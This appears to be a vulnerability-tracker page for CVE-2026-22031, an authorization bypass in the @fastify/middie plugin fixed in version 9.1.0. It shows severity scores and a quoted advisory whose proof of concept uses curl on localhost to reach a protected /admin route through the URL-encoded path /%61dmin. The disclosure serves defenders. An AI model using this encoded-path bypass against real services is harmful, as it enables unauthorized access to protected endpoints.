CVE-2026-22031

highpriority · track · 35EPSS 0.005 · 45 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.53% (45th) EPSS
CVSS 8.8 · high
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · nvd · osv

EPSS · scored 2026-10-27

@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.8
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.18.8highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hprimary · NVD / NIST USexploitability 2.8 · impact 5.9
v3.18.4highCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:Lsecondary · ENISA EU
v3.18.4highCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:Lsecondary · security-advisories@github.comexploitability 1.8 · impact 6
v3.18.4highCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:Lsecondary · OSV
v3.18.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-cxrg-g7r8-w69pFastify Middie Middleware Path Bypass2026-01-20ghsa · osvUS

    ### Summary A security vulnerability exists in `@fastify/middie` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. ### Details The vulnerability is caused by how `middie` matches requests against registered middleware paths. 1. **Regex Generation**: When [fastify.use('/admin', ...)](cci:1://file:///Users/harshjaiswal/work/research/nest/packages/platform-fastify/adapters/fastify-adapter.ts:733:2-741:3) is called, `middie` uses `path-to-regexp` to generate a regular expression for the path `/admin`. 2. **Request Matching**: For every request, `middie` executes this regular expression against `req.url` (or `req.originalUrl`). 3. **The Flaw**: `req.url` in Fastify contains the **raw, undecoded** path string. * The generated regex expects a decoded path (e.g., `/admin`). * If a request is sent to `/%61dmin`, the regex comparison fails (`/^\/admin/` does not match `/%61dmin`). * `middie` assumes the middleware does not apply and calls `next()`. 4. **Route Execution**: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies `/%61dmin` as `/admin` and executes the corresponding route handler. **Incriminated Source Code:** In the provided `middie` source: ```javascript // ... inside Holder function if (regexp) { const result = regexp.exec(url) // <--- 'url' is undecoded. if (result) { // ... executes middleware ... } else { that.done() // <--- Middleware skipped on mismatch } } ``` ### PoC **Step 1:** Run the following Fastify application (save as `app.js`): ```javascript const fastify = require('fastify')({ logger: true }); async function start() { // Register middie for Express-style middleware support await fastify.register(require('@fastify/middie')); // Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end('Forbidden: Access to /admin is blocked'); }); // Sample routes fastify.get('/', async (request, reply) => { return { message: 'Welcome to the homepage' }; }); fastify.get('/admin', async (request, reply) => { return { message: 'Admin panel' }; }); // Start server try { await fastify.listen({ port: 3008 }); } catch (err) { fastify.log.error(err); process.exit(1); } } start(); ``` **Step 2:** Execute the attack. 1. **Normal Request (Blocked):** ```bash curl http://localhost:3008/admin # Output: Forbidden: Access to /admin is blocked ``` 2. **Bypass Request (Successful):** ```bash curl http://localhost:3008/%61dmin # Output: {"message":"Admin panel"} ``` ### Impact * **Type:** Authentication/Authorization Bypass. * **Affected Components:** Applications using `@fastify/middie` to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes. * **Severity:** High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.

06

also known as (3)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-01-19modified 2026-06-17
08

references (13)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan